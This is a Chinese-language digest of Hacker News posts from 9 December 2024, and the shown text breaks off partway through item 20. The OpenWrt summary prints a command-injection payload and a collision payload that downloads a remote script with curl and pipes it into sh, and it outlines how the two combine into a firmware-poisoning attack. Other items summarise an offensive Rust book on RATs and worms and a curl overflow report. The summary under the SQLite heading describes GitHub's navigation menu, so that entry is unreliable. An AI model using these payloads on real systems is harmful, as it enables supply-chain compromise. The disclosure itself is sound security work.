2024-12-09
31 篇热帖
2. Pat Gelsinger was wrong for Intel (bcantrill.dtrace.org)
文章通过作者所在公司Oxide与英特尔合作开发Tofino可编程交换芯片的经历,阐述了对帕特·基辛格领导能力的质疑。核心观点认为基辛格的技术背景与管理声誉虽受认可,但其性格中的傲慢与固守旧有文化的倾向,使他无法带领危机中的英特尔实现真正变革。
关键论据包括:
- 早期合作与信任疑虑:Oxide公司虽欣赏Tofino芯片团队及P4编程理念,但基于英特尔频繁扼杀非x86创新项目的旧例(如Red Rock Canyon),始终担忧该项目的未来。
- 基辛格的个人表现:通过分析其口述历史访谈,作者发现基辛格将成功归功于自身,将失败归因于缺席,且对历史(如Larrabee项目与英伟达的竞争)有夸大自身作用的倾向,透露出一种“无视自身局限”的傲慢。
- 企业文化错配:英特尔当时深陷战略失误与文化危机,急需一位能破除“特权意识”、重建信任的“战时CEO”。但基辛格的个人叙事与行为(如高调回归、幼稚的“Go PC”反苹果广告战)反而可能强化公司的固有傲慢,而非解决问题。
- 具体决策失误:
- 保留股息:在公司亟需资金应对转型挑战时,维持股息分红是“和平时期”思维,未能向内外传递危机感与改革决心。
- 激进路线图:“4年5节点”计划风险高,且英特尔从未彻底公开反思此前10nm制程的失败,损害了外界信任。
- 代工业务(IFS)挑战:英特尔文化难以满足代工客户所需的服务与信任,其“本土制造”的卖点过于单薄,未能解决根本的竞争力问题。
- 合作伙伴遭遇背弃:尽管得到内部团队承诺与支持,Tofino项目最终仍被砍掉,且过程处理粗糙。这严重损害了英特尔与合作伙伴的信任关系,凸显了其文化与决策问题。
- 最终结论:作者认为,基辛格的个人特质与行事风格无法治愈英特尔的深层文化痼疾,反而可能加剧之,因此他是“错误的”CEO人选。Oxide公司也因此转向了其他供应商(如Xsight Labs的X2芯片)。
3. Compromising OpenWrt Supply Chain (flatt.tech)
OpenWrt供应链攻击漏洞分析
背景与发现过程
安全研究员RyotaK在升级家庭路由器时,注意到OpenWrt的Web界面LuCI中提供了"Attended Sysupgrade"功能。该功能通过在线服务sysupgrade.openwrt.org构建固件镜像,允许用户选择目标设备和所需软件包。研究员随后调查了该服务的安全性。
关键漏洞分析
1. 命令注入漏洞
- 漏洞位置:服务端
asu/build.py中使用make manifest命令时,将用户提供的PACKAGES参数直接传递给Makefile变量。 - 攻击原理:Makefile在执行前会展开变量,即使变量值被单引号包裹,攻击者仍可通过构造如
'; whoami #的载荷注入任意命令。 - 影响:攻击者可在隔离的构建容器中执行命令,为容器逃逸提供潜在跳板。
2. SHA-256碰撞漏洞
- 漏洞位置:
asu/util.py中的哈希计算函数get_packages_hash将软件包列表的SHA-256哈希截断至前12个字符(48位)。 - 攻击原理:12字符哈希的密钥空间约为2^48(约281万亿),理论上可通过暴力碰撞找到哈希前缀相同的恶意载荷。
- 风险:由于该哈希被用作构建缓存的键,攻击者可通过碰撞迫使服务器为恶意请求返回与合法请求相同的缓存固件,实现固件篡改。
攻击组合利用
- 寻找碰撞载荷:攻击者使用修改版的Hashcat在RTX 4090上以约180亿哈希/秒的速度暴力破解,找到了与合法软件包列表哈希前缀(
8f7018b33d94)相同的恶意命令载荷:`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`。 - 实施攻击:
- 发送包含恶意载荷的请求触发命令注入,在构建容器中执行远程脚本。
- 脚本会覆写构建出的固件文件内容为"test"。
- 由于哈希碰撞,服务器将篡改后的固件缓存并返回给请求合法软件包的用户,导致用户升级到恶意固件。
漏洞修复与影响
- 研究员通过GitHub私有报告提交漏洞,OpenWrt团队在3小时内修复并重启服务。
- 团队发布公告通知用户检查设备是否被入侵,因漏洞存在时间较长,无法确定是否已被利用。
总结
该漏洞结合了命令注入和哈希截断导致的碰撞两种攻击方式,成功危及了OpenWrt的在线固件构建服务供应链。研究强调了即使使用容器隔离,对用户输入的安全校验和哈希算法设计的重要性。
4. Himalaya: CLI to Manage Emails (github.com)
Himalaya:命令行邮件管理工具
Himalaya 是一个用于管理电子邮件的命令行界面(CLI)工具。本文档描述其尚未正式发布的 v2 版本。v2 版本与 v1 版本相比有重大变更,用户可参考迁移指南。
主要特性
- 统一的共享 API:将邮箱、邮件信封、标志、消息和附件等概念抽象为统一接口,后端无关。
- 协议特定 API:为每个后端(如
himalaya imap/smtp/maildir/jmap)提供完整的原生功能访问。 - 广泛的后端支持:
- 远程后端:IMAP, SMTP, JMAP。
- 本地后端:Maildir 和 m2dir 文件系统规范。
- 灵活的认证:支持 IMAP/SMTP 的简单认证(如匿名、登录、OAuthBearer 等)和 JMAP 的 HTTP 认证(基本认证、Bearer 令牌)。
- TLS 加密:支持基于 Rustls(使用 ring 或 aws 加密)和原生 TLS 的连接。
- 服务发现:遵循 PACC、Thunderbird 自动配置和 RFC 6186 SRV DNS 等规范,自动发现邮件服务器设置。
- 配置管理:使用 TOML 文件进行配置,支持多账户。配置文件可与
himalaya-tui终端界面工具共享。 - 输出格式:支持通过
--json参数输出 JSON 格式结果。
安装方式
可通过多种途径安装:
- 预编译二进制:通过提供的安装脚本
install.sh安装最新版本或 GitHub Actions 构建的开发版本。 - Cargo:使用 Rust 包管理器从源码编译,可自定义功能特性。
- 包管理器:支持 Arch Linux (pacman/yay)、Homebrew、Scoop、Fedora (dnf) 和 Nix 等主流系统的包管理器安装。
- 源码编译:克隆仓库后使用 Nix 构建运行。
配置与使用
- 配置文件:首次运行时,向导会引导配置账户,自动发现服务器设置并写入配置文件。配置文件路径遵循 XDG 规范,可通过命令行参数或环境变量指定。支持多路径合并配置。
- 共享命令:操作账户默认或指定的后端,用于管理邮箱、邮件信封、标志、消息和附件。例如:
himalaya mailboxes list:列出邮箱。himalaya envelopes list/search:列出或搜索邮件信封。himalaya messages read/download:阅读或下载邮件。
- 协议特定命令:直接调用底层协议的完整功能。例如
himalaya imap mailboxes status。 - 邮件撰写与处理:提供内置命令(如
compose,reply,forward)用于简单邮件操作。支持通过配置外部编辑器(如mml)处理复杂的 MIME 邮件、签名加密等场景。mailto命令可处理mailto:URI,可用作桌面端邮件处理器。 - 会话复用:默认每次命令执行都建立新连接。可通过与
sirup工具配合,利用 Unix socket 复用已认证的会话以提高效率。
与其他工具的区别及常见问题
- 与 aerc/mutt/alpine 的区别:Himalaya 是无状态的 CLI 工具,通过命令行参数与邮件交互,不占用终端。而 aerc 等是 TUI 工具,运行后进入交互式事件循环。项目正在开发专属 TUI 前端
himalaya-tui。 - 密钥处理:密码或令牌字段支持直接输入明文(不推荐)或通过 shell 命令安全获取。原生密钥环支持已移除,建议使用
mimosa、pass等外部密钥管理器作为命令源。 - OAuth 2.0:v2 版本不内置 OAuth 流程。用户需使用外部令牌代理(如
ortie)获取访问令牌,并通过配置命令返回该令牌。 - 调试:使用
--log-level参数或RUST_LOG环境变量输出详细日志,日志可输出到 stderr 或文件。
社区与赞助
项目通过 Matrix 聊天室、Mastodon/RSS 新闻和邮件列表进行交流。项目长期得到 NLnet 基金会及欧盟委员会的资助。用户可通过列表中的提供商进行捐赠支持。
5. Unless my phone can be a PC, I don't want to keep paying for extra performance (www.androidauthority.com)
智能手机的性能已经进入过剩时代,但制造商仍在追求更高的基准测试成绩,导致芯片成本上升和手机价格提高。当前旗舰芯片如高通骁龙8 Elite和联发科天玑9400虽然性能提升明显,但在日常使用中与上一代机型几乎感觉不到差异。这种“为性能买单”的模式正面临挑战。
性能与成本的矛盾
新一代旗舰芯片的成本显著增加,迫使手机厂商在配置上做出妥协。例如,ROG Phone 9 Pro为了控制成本而削减了长焦摄像头。同时,下一代骁龙8 Elite 2预计还会进一步涨价,这可能导致手机价格继续上涨或关键功能缩水。
性能提升缺乏实际用例
对于大多数用户来说,手机性能已远超日常应用和游戏需求。额外20%的性能提升在实际使用中几乎无法感知。目前也没有足以充分利用高性能的杀手级应用:AI功能尚未普及,手游受限于系统兼容性,而“口袋PC”愿景虽被提及,但受限于软件支持和显示输出,始终未真正实现。三星DeX等桌面模式仍存在应用限制和功能短板。
用户真实需求与行业选择
调查显示,消费者更看重电池续航和价格而非极致性能。谷歌Pixel系列通过平衡功能与性能取得了成功。部分厂商(如小米)已开始调查用户是否更倾向于合理定价。文章认为,在性能难以被充分利用的当下,厂商应放缓性能竞赛,将资源投入相机、电池技术、做工质量等更实用的方面,或至少控制价格上涨。
未来展望
Android与ChromeOS的融合、安卓16支持运行Debian应用等趋势,可能为高性能芯片开辟新用途。但要实现真正的“口袋PC”,还需解决Arm架构的软件兼容性、DisplayPort视频输出普及等问题。在此之前,高端性能芯片显得“英雄无用武之地”。
总结而言,智能手机行业正面临一个选择:是继续追求边际效益递减的性能提升并转嫁给消费者,还是转向更贴近用户实际需求的改进方向。文章呼吁行业重新审视成本与收益,优先解决电池续航、价格等更受关注的问题。
6. The Theory and Technique of Electronic Music (2006) (msp.ucsd.edu)
7. UK bans daytime TV ads for cereals, muffins and burgers (www.france24.com)
8. "Hetzner has decided to cancel our account and terminate all servers." (mastodon.social)
9. SQLite changed temp file prefix after McAfee users called devs to complain (2006) (github.com)
GitHub 提供多种工具和服务,涵盖 AI 代码创建、开发者工作流和应用安全等领域。核心产品包括:GitHub Copilot 用于 AI 辅助编程,GitHub Spark 用于构建和部署智能应用,GitHub Models 用于管理和比较提示,MCP Registry 用于集成外部工具。
开发者工作流功能包括:GitHub Actions 自动化任何工作流,GitHub Codespaces 提供即时开发环境,GitHub Issues 用于规划和跟踪工作,GitHub Code Review 管理代码变更。应用安全部分涉及 GitHub Advanced Security 以发现和修复漏洞、代码安全在构建时保护代码、秘密保护防止泄露。
探索部分涵盖:Why GitHub 文档、博客、更新日志和市场,以及所有功能。解决方案按公司大小(企业、中小型团队、初创公司、非营利组织)、用例(应用现代化、DevSecOps、DevOps、CI/CD)和行业(医疗保健、金融服务、制造业、政府)分类。
支持和社区资源包括:文档、客户支持、社区论坛、信任中心和合作伙伴。其他社区项目如 GitHub Sponsors 资助开源开发者,以及程序如安全实验室、维护者社区、加速器和 GitHub Stars。企业解决方案提供企业级平台,附加功能如 GitHub Advanced Security、Copilot for Business 和高级支持。
用户界面元素包括保存的搜索、登录、注册选项以及外观设置。
10. JSON parsers that can accept comments (douglascrockfordisnotyourdad.technomancy.us)
JSON解析器接受注释的探讨
文章挑战了Douglas Crockford关于JSON不能有注释的观点,指出如果知道文件仅由合理的解析器读取,可以在JSON中添加注释。维护解析器的开发者可以使解析器接受注释,而不会产生负面影响。
解析器分类
文章将现有解析器分为三类:
合理的解析器:能直接正确处理注释,无需额外配置。示例包括:
- dkjson (Lua)
- SQLite
- JSON5 (JavaScript)
- 待补充更多。
可配置的解析器:通过设置可支持注释。示例包括:
- Jackson (Java)
- Apple JSONDecoder (Swift)
- System.Text.Json (.NET)
不合理的解析器:尚未支持注释。示例包括:
- Emacs的json-parse-string。
对其他格式的看法
文章提到json5和jsonc等格式,但认为它们并非必需,因为让标准JSON解析器接受注释没有缺点,无需引入新格式。核心观点是:开发者应认识到Douglas Crockford的观点并非绝对,可以灵活处理JSON注释。
文章鼓励读者提供补充或更正,以完善解析器列表。
11. 1,600 days of a failed hobby data science project (lellep.xyz)
文章摘要:一个历时1600天失败的数据科学项目总结
项目概述与失败 作者花费超过1600天进行一个业余数据科学项目,最终因失去兴趣、生活忙碌及优先级改变而失败。该项目始于2020年3月COVID-19疫情初期,旨在持续抓取并分析德国公共新闻机构Tagesschau的实时新闻更新。最初专注于COVID-19新闻更新,2022年第三季度Tagesschau关闭该更新并转向乌克兰-俄罗斯战争新闻后,项目也随之扩展至新主题。作者在1600天内持续收集数据,但除了项目初期一周内进行的简短数据探索外,从未进行任何深入的数据分析。
数据源:Tagesschau 新闻更新 原始数据来自Tagesschau网站每日的新闻更新列表,每条新闻包含时间戳、标题、正文以及可能的多媒体元素(如Twitter帖子、视频)。每日更新通常链接至前一天。作者手动收集了从2020年第一季度至2024年第三季度约1600天的URL,并批量下载了底层HTML页面作为原始数据。
系统设计与实现 项目设计为一个半自动数据管道:通过Python脚本(使用BeautifulSoup4)将原始HTML页面解析为结构化的新闻条目,并存储于SQLite数据库中。流程的关键部分是手动操作:由于Tagesschau网站的URL结构不规则,每日手动访问网站收集新闻更新链接成为项目主要的工作量。数据下载和解析则每四到八周批量进行一次。作者强调保留原始HTML数据的重要性,因为在项目期间网站结构多次变更,原始数据可确保后续解析器可以重写,而丢失的数据则无法找回。
项目经验与教训 作者总结了未来成功进行数据科学项目的检查清单:
- 尽早考虑故事叙述:评估项目成果是否易于沟通和展示。本项目因涉及COVID和战争等负面主题,叙述较为困难。
- 快速产出初步分析结果:避免陷入单纯无休止的数据收集(“稍后分析”陷阱)。应基于小数据集快速获得结果并公开(遵循“展示你的工作”原则),以保持动力。
- 最大限度自动化数据收集:减少日常操作摩擦。例如,本项目中耗时且令人疲惫的手动链接收集步骤,现可视为一个利用机器学习或基础模型(如LLM)构建AI代理来自动化完成的机会。
- 考虑数据收集节奏:评估数据是需要自行收集还是已有API,以及收集频率。本项目每日一次的频率尚可手动完成,但更高频率则必须自动化。
- 尽可能存储原始数据:为后续数据处理和分析保留灵活性。
- 考虑使用云服务:以提高项目的简洁性、可靠性,并借此培养实际的就业技能。
结论与现状 作者认为,失败的项目是学习过程的一部分,能积累“战斗伤疤”,使人成为更好的数据从业者。他个人虽遗憾未能利用本项目宝贵的机器学习机会(如通过NLP自动识别链接)和分析已收集的约10万条新闻片段,但仍希望分享该项目。作者指出Tagesschau仍在持续发布新的主题新闻更新(如2024年美国大选),并欢迎有兴趣接手此项目的人与他联系,他愿意无偿分享全部项目资料。
12. Black Hat Rust (github.com)
Black Hat Rust 摘要
书籍主旨
《Black Hat Rust》是一本专注于使用 Rust 编程语言进行进攻性安全实践的指南。它超越了传统安全教程,旨在从理论到实践,系统讲解如何利用 Rust 构建各类攻击性工具,探索网络攻击、犯罪与网络战争的领域。
目标读者
本书并非基础编程或标准工具教程,适合以下读者:
- 渴望通过代码理解攻击与恶意软件的开发者。
- 希望学习安全知识的开发者,或希望掌握 Rust 的安全工程师。
- 追求实际、高效 Rust 实践,或相信“最佳防御源于像攻击者一样思考”的人。
- 使用 Python、Ruby、C 等语言开发工具,并希望转向 Rust 的从业者。
- 有意通过漏洞赏金盈利,或关注实战进攻性安全(而非仅限于渗透测试)的人。
内容结构
全书分为三大部分,共 14 章:
第一部分:侦察
- 构建多线程扫描器以自动化映射目标。
- 利用异步编程提升 I/O 性能。
- 通过 Trait 对象扩展扫描器模块,体现 Rust 类型系统的优势。
- 开发高速网络爬虫用于开源情报收集。
第二部分:漏洞利用
- 使用模糊测试自动化发现漏洞。
- 学习漏洞利用开发,强调 Rust 类型与模块系统的优势。
- 使用 Rust(
no_std)编写 shellcode,简化传统汇编编写过程。 - 编译至 WebAssembly 创建高级钓鱼页面,攻击人类弱点。
第三部分:植入程序开发
- 构建现代远程访问工具,实现与服务器的通信。
- 通过端到端加密保护通信,避免基础设施被追踪。
- 利用 Rust 生态系统实现跨平台编译,适应多样操作系统。
- 将 RAT 转化为蠕虫,扩展攻击范围至内部网络。
Rust 的优势
本书强调 Rust 是满足进攻性安全需求的“一站式”语言,因其:
- 强大的类型系统与模块化设计,利于开发大型、安全的项目。
- 高效性能与并发支持,适合网络扫描与数据处理。
- 无依赖(
no_std)能力,可用于编写底层代码(如 shellcode)。 - 优秀的跨平台编译生态,支持多操作系统目标。
其他信息
- 书籍提供免费更新与无数字版权管理(DRM)版本。
- 支持 PayPal、Apple Pay、Google Pay 等支付方式。
- 设有社区与代码仓库(GitHub),欢迎贡献与反馈。
- 作者通过 Newsletter 分享技术见解,强调无追踪、无广告。
13. A letter to open-source maintainers (xuanwo.io)
这封信是写给开源项目维护者的建议,旨在帮助他们建立健康、可持续的工作心态和实践。核心内容包括:
基础底线
- 当项目开源时,所有工作已算完成。维护者没有义务持续维护项目、处理问题、编写文档或满足社区需求。
- 如果不再快乐,可以随时停止。这不是失败或过错。我们需要一个健康、可持续且包容的底线。
避免不健康的坚持理由
- “只有我能做”:这种想法是错误的。可能因为项目状态良好、你维护得太积极掩盖了疲劳、或用户不足,导致其他人没有参与。如果感到 burnout,应重新考虑这个理由。
- “别人会生气或失望”:他人看法并不重要。关键是自己和家人的幸福。不要为了满足他人而坚持。
- “我在改变世界”:值得尊敬,但当你感到疲惫时,请重温此信的建议。
离开前可做的事(根据剩余精力)
- 0%精力:直接离开,关闭所有相关通知。
- 30%精力:创建一个公开 issue 并置顶在 README 中,宣布项目归档。如有余力,可提供替代方案链接。
- 60%精力:创建 issue 寻找共同维护者,逐步移交工作,直到新维护者能完全接手。
决定留下后应做的事
- 随时准备离开:确保项目能在你离开后正常运行。例如:良好文档化核心架构、有多位维护者(最好来自不同公司)、关键流程不依赖个人账户。
- 关注可持续性:一个健康的开源项目通常需要至少10个用户来维持活力,并从中发展出活跃贡献者。应主动接触潜在用户以改进项目和扩大社区。
- 选择合适的许可证:根据目标选择许可证(如 MIT、Apache 2.0、GPL 或 SSPL)。完全理解每种许可证的影响。如果依赖项目盈利,可能不应从一开始就开源。应与商业用户建立明确的合作关系和付费维护合同。
最后建议
- 社区有许多努力(如 Open Source Pledge)旨在改善维护者的处境,但维护者自身需要明确底线。
- 如果感到不快乐,可以离开。不要成为流血流泪的英雄。
- 祝愿维护者在开源中找到幸福。
更新
- 修正了关于 MIT 许可证的描述:MIT 许可证要求用户在软件副本中包含原始版权声明,但不要求在营销材料中提及项目或作者。
14. Exotic new superconductors delight and confound (www.quantamagazine.org)
新型奇异超导现象:发现与困惑
2023年,研究人员在三种不同的二维材料中发现了新的超导现象,极大地拓展了对超导这一量子现象的理解。这些发现不仅验证了早期的理论预言,更揭示出前所未见的超导形态,挑战了现有的理论框架。
背景与意义
超导现象(电流零电阻流动)自1911年发现以来,其核心谜团在于互斥的电子如何能配对形成“库珀对”。传统的BCS理论(声子介导配对)解释了金属低温超导,但无法完全解释高温超导等“非常规”超导。深入研究超导机理不仅具有基础科学价值,也是开发室温超导材料、革新能源与交通技术(如无损耗电网、磁悬浮列车)的关键。
新型超导现象的发现与特点
近年来,材料科学的革命——特别是可精确调控的二维范德华材料(如石墨烯、过渡金属二硫化物TMD)——使得在单个器件中探索多种材料特性成为可能。这催生了以下三类突破性发现:
TMD材料中的超导(哥伦比亚大学团队)
- 材料与条件:将两层TMD材料(如二硒化钨)以约5度角扭转堆叠,形成摩尔纹超晶格。
- 关键过程:在摩尔纹的每个大单元中注入一个电子时,系统呈现反铁磁态;额外增加电子后,材料变为超导。
- 理论解释(傅、Schrade提出):认为超导与反铁磁态源于相同的电子相互作用。电子填充改变了系统的磁不稳定性,从而引发配对和零电阻流动。该理论预测库珀对具有可旋转性,这是与传统声子配对的关键区别。
TMD材料中的绝缘态场致超导(康奈尔大学Shan & Mak团队)
- 材料与条件:同样使用TMD材料,但扭转角较小(约3.5度),且从绝缘态出发。
- 关键发现:通过调节外加电场强度(而非掺杂电子),直接使原本绝缘的系统转变为超导态。
- 特殊性:这种从强关联绝缘态经电场调控直接进入超导的行为,不符合现有流行的超导理论,暗示存在全新的配对机制。
多层石墨烯中的手性超导(麻省理工学院Ju团队)
- 材料与条件:研究由四层石墨烯自然堆叠形成的“阶梯状”结构(无需扭转),通过电场调控。
- 突破性现象:观察到超导态会“闪烁”(电阻间歇性出现和消失)。施加磁场后,超导态反而变得稳定。
- 解释与意义:团队推测这可能是手性超导的证据——库珀对倾向于统一向同一方向旋转。手性通常被认为会破坏超导,因为其会区分电子的运动方向。这一发现被视为自1911年以来现象学上与其他所有超导体都不同的奇异新物种。理论家已提出新模型(如电子晶格涨落配对)来尝试解释。
核心共识与未来展望
- 配对机制多元化:这些发现强有力地表明,电子配对形成超导的途径远非单一。正如鸟类、昆虫用不同结构飞行一样,不同材料可能通过不同的电子相互作用(磁涨落、电子晶格涨落等)实现配对。
- 二维平台的优势:可调控的二维器件成为强大的研究平台。研究人员能像“炼金术”一样,通过改变电场、载流子密度、扭角等参数,快速探索海量的“虚拟材料”组合,直接观测电子行为,极大加速了超导材料的搜寻与机理研究。
- 理论与实验的挑战:目前,对新型超导的微观机理尚无定论,实验发现正在推动理论创新。更多的实验验证(如手性超导的确认)和理论预言(探索其他可能配对机制)是接下来的重点。
- 终极目标:这些研究积累的数据和理解,将最终导向对超导现象的普适性理解,从而为设计在更实用条件下工作的新型超导材料奠定基础。
总之,2023年的发现标志着超导研究进入了一个“奇异”而激动人心的新阶段,一个充满未知的“野生丛林”正在被探索。
15. Buffer Overflow Risk in Curl_inet_ntop and Inet_ntop4 (hackerone.com)
Curl_inet_ntop 与 inet_ntop4 的缓冲区溢出风险摘要
报告概要
- 标题:Buffer Overflow Risk in Curl_inet_ntop and Inet_ntop4
- 平台:在 HackerOne 上披露的 curl 软件安全漏洞报告
- 报告编号:2887487
漏洞详情
- 涉及函数:
Curl_inet_ntop:用于将 IP 地址从二进制格式转换为人类可读的字符串格式。inet_ntop4:由Curl_inet_ntop内部调用,专门处理 IPv4 地址转换。inet_ntop6:由Curl_inet_ntop内部调用,专门处理 IPv6 地址转换。
- 风险类型:缓冲区溢出(Buffer Overflow)
- 问题描述:
Curl_inet_ntop函数在处理 IP 地址转换时,由于不足的缓冲区大小验证或边界检查,可能导致缓冲区溢出漏洞。该漏洞可能影响 curl 在相关功能中的安全使用。
16. Replace Philips Hue Automation with Home Assistant's (blog.frankel.ch)
用Home Assistant替代Philips Hue自动化
本文是Home Assistant使用系列的第三篇,记录了作者如何将Philips Hue的专有自动化系统迁移到Home Assistant平台。
背景与原有设置
作者拥有若干Philips Hue智能灯(包括彩色灯和普通灯)以及一个运动传感器。传感器安装在卫生间,用于检测运动并自动开关灯。原系统通过Philips Hue Hub管理,并支持根据时间自动调整灯光亮度和颜色(如夜间使用低强度暖光)。
迁移至Home Assistant的步骤
集成Philips Hue设备:
- 在Home Assistant的“设备与服务”中添加Philips Hue集成。
- 输入Hue Hub的IP地址进行配置。
- 集成后,所有连接到Hub的设备将出现在Home Assistant中,并可在仪表板上控制。
解除原有绑定:
- 在Philips Hue应用中,将运动传感器从原Hub上解绑,使其状态变为“未在此应用中配置”。
在Home Assistant中创建自动化:
- 使用Home Assistant提供的 “运动照明”Blueprint(蓝图模板) 来创建自动化。
- 配置项包括选择运动传感器实体、目标灯具设备或区域,以及设置“最后运动检测后灯保持开启的时长”。
- 保存后,自动化即生效:传感器检测到运动时触发灯开启,设定的超时时间过后若无新运动则关闭灯。
查看底层配置:
- 该自动化最终以YAML格式存储在
automation.yaml文件中,使用了motion_light.yaml蓝图。
- 该自动化最终以YAML格式存储在
迁移结果与遗留问题
迁移成功实现了运动触发开关灯的基本功能,并且控制权完全转移到了Home Assistant。然而,迁移后缺失了原系统的一项关键特性:根据一天中的不同时段自动调整灯光的亮度和颜色(例如夜间模式)。文章指出,后续内容将致力于解决此问题。
总结
本文展示了将Philips Hue传感器与灯光的自动化从专有平台迁移到开源Home Assistant的过程。通过利用内置的Blueprint,迁移步骤清晰直接。但迁移也揭示了当前简单自动化在功能上的不足,为后续优化(如实现自适应照明)提供了方向。
17. Show HN: A portable hash map in C (github.com)
Salmagundi:一个C语言的小型可移植哈希映射库
Salmagundi 是一个用 C 语言编写的、小型的、可移植的哈希映射库,其核心特性是采用 线性探测 方法来处理哈希冲突。
核心特性与结构
- 小型且可移植:库的设计目标是轻量和便于在不同环境中使用。
- 数据结构:使用线性探测的哈希映射实现。
- 许可证:根据项目信息,该库采用 MIT 许可证。
主要功能与API
根据提供的代码示例,该库通过头文件 salmagundi.h 提供以下核心功能:
创建哈希映射:
hm_open函数用于初始化一个新的哈希映射实例。- 需要两个关键参数:一个哈希函数(例如示例中的
hm_hash_rapidhash)和一个用于键比较的函数(例如hm_cmp_str)。 - 返回一个指向映射的指针 (
hm_t*)。
- 需要两个关键参数:一个哈希函数(例如示例中的
插入键值对:
hm_put函数用于向映射中添加数据。- 需要指定映射、键及其长度、值及其长度。
查找值:
hm_get函数根据键来检索对应的值。- 返回一个
hm_item_t结构,其中包含键(k)和值(v)的数据。
- 返回一个
释放资源:
hm_close函数用于销毁映射并释放相关内存。
使用示例
代码示例展示了完整的使用流程:创建映射、插入一个字符串键值对、通过键获取值并进行断言验证、最后关闭映射以释放资源。
项目状态
该开源项目托管在 GitHub 上,截至信息获取时,已获得 145 个星标,并有 3 个复刻(Fork)。
18. Task-specific LLM evals that do and don't work (eugeneyan.com)
任务特定的大语言模型评估:有效与无效的方法
针对特定任务(如分类、摘要、翻译)使用现成的评估指标通常效果不佳,它们与实际应用性能相关性低且缺乏区分度。本文旨在分享经过验证的有效评估方法,以节省开发时间。
分类与提取任务评估
- 核心指标:应超越简单的准确率,重点关注召回率、精确率、ROC-AUC和PR-AUC。
- 关键诊断:检查模型输出概率的分布分离度。重叠严重的分布表明难以在生产中设定决策阈值。可通过Jensen-Shannon散度进行量化,但直接可视化图表更直观。
- 结论:这些指标共同为诊断分类性能和选择合适的生产阈值提供了实用工具箱。
摘要任务评估
- 评估重点:现代LLM在语法和连贯性方面已表现良好,评估应聚焦于事实一致性和相关性。
- 事实一致性:推荐使用经微调的自然语言推理模型。将源文档作为前提,生成摘要作为假设,以检测矛盾(即幻觉)。少量特定任务数据即可显著提升效果。
- 相关性:可训练奖励模型对人类偏好的摘要进行评分,或使用NLI模型进行学习。
- 其他:可进行长度合规性检查。传统的n-gram、相似度或基于LLM的评估方法被证明不可靠或不实用。
翻译任务评估
- 推荐指标:
- chrF:基于字符n-gram的统计指标,计算高效、语言独立,是优于BLEU的入门选择。
- BLEURT:基于BERT微调的学习指标,与人类判断对齐度高。
- COMET:利用源文本、译文和参考译文进行评估的学习指标。
- COMETKiwi:无需参考译文的学习指标,性能优异,代表了未来趋势。
- 不推荐指标:BLEU在权威评测中表现不佳,不建议作为主要评估依据。
缺陷风险评估
- 版权重复:可采用HELM框架的方法,使用书籍或代码开头作为提示,计算输出与原文的最长公共子序列或编辑距离来检测重复。
- 毒性:使用RealToxicityPrompts和BOLD等对抗性提示数据集,通过Perspective API等工具测量生成有害内容的比例。
人类评估与风险校准
- 必要性:对于复杂任务(如问答、推理),人类评估仍是黄金标准。自动评估依赖人类标注,且需要通过主动学习持续收集新标签以改进。
- 风险校准:评估标准应与应用风险相匹配。面向内部或低风险场景(如内部文档摘要)的标准可低于面向外部或高风险场景(如医疗聊天机器人)。关键是在潜在收益与风险间取得平衡,避免因追求完美而陷入创新者困境。建议从最小可行产品开始,快速迭代。
19. JSON5 – JSON for Humans (json5.org)
JSON5 – JSON for Humans
概述
JSON5 是 JSON 文件格式的扩展,旨在使手写和维护配置文件等内容更简单易读。它不适用于机器间的数据交换。JSON5 是 JSON 的超集,同时是 ECMAScript 5.1 (ES5) 的子集。
主要特点
JSON5 扩展了 JSON 不支持的 ES5.1 特性:
- 对象:允许键名使用 ES5.1 标识符名称;允许对象末尾存在单个尾逗号。
- 数组:允许数组末尾存在单个尾逗号。
- 字符串:允许使用单引号;允许跨多行书写(通过转义换行符);支持字符转义。
- 数字:允许十六进制表示;允许以小数点开头或结尾;支持
Infinity、-Infinity和NaN;允许以显式正号开头。 - 注释:支持单行和多行注释。
- 空白字符:允许使用额外的空白字符。
示例
{
// 注释
unquoted: 'and you can quote me on that',
hexadecimal: 0xdecaf,
leadingDecimalPoint: .8675309,
trailingComma: 'in objects', andIn: ['arrays',],
"backwardsCompatible": "with JSON",
}
使用与安装
Node.js
// CommonJS
const JSON5 = require('json5')
// ES Modules
import JSON5 from 'json5'
浏览器
<!-- UMD (全局变量 `JSON5`) -->
<script src="https://unpkg.com/json5@2/dist/index.min.js"></script>
<!-- ES Modules -->
<script type="module">
import JSON5 from 'https://unpkg.com/json5@2/dist/index.min.mjs'
</script>
API
JSON5 API 与 JSON API 兼容。
JSON5.parse(text[, reviver]):解析 JSON5 字符串为 JavaScript 值。JSON5.stringify(value[, replacer[, space]]):将 JavaScript 值转换为 JSON5 字符串。支持可选的replacer函数/数组和space空格参数。新选项quote可指定序列化字符串时使用的引号字符。
Node.js 加载 JSON5 文件
在文件中添加 require('json5/lib/register'),之后即可直接 require() JSON5 文件。
命令行工具 (CLI)
用于将 JSON5 转换为 JSON 或验证 JSON5 语法。
- 安装:
npm install --global json5 - 用法:
json5 [file] [options]-s, --space:缩进空格数或使用制表符t。-o, --out-file [file]:输出到指定文件。-v, --validate:仅验证语法,不输出 JSON。
项目状态与采用
- 始于 2012 年,截至 2022 年 npm 周下载量超 6500 万,是 npm 上最被依赖的前 0.1% 的包。
- 被 Chromium、Next.js、Babel 等大型项目采用,并获得 Apple 平台(macOS、iOS)原生支持。
开发与贡献
- 仓库:
https://github.com/json5/json5 - 开发前需克隆仓库并安装依赖,贡献代码前应运行测试和 lint。
- 问题报告:格式规范问题请提交至官方规范仓库;JavaScript 实现的问题提交至当前仓库。
- JSON5 始终保持与 ES5 的兼容性。
许可证与致谢
采用 MIT 许可证。项目由 Aseem Kishore 创立,Jordan Tucker 负责维护并重写了代码库和官方规范。同时感谢 Michael Bolin、Douglas Crockford、Max Nanasy、Andrew Eisenberg 等人的贡献。
注意:JSON5 在转义行/段落分隔符(U+2028 和 U+2029)方面与 ES5 不兼容,但该问题在 ES2019 中已解决。
20. Raspberry Pi 500 Review: The keyboard is the computer, again (www.tomshardware.com)
树莓派 500 评测总结
树莓派 500 是树莓派 400 的重大升级版本,将树莓派 5 的性能集成于键盘电脑的经典形态中,官方售价为 90 美元(仅主机)或 120 美元(桌面套件)。
核心设计与规格
- 形态延续:保持了树莓派 400 的“键盘即电脑”设计,所有接口(1个USB 2.0、2个USB 3.0、双Micro HDMI、千兆网口、电源口、GPIO及MicroSD卡槽)位于机身后部,便于理线。
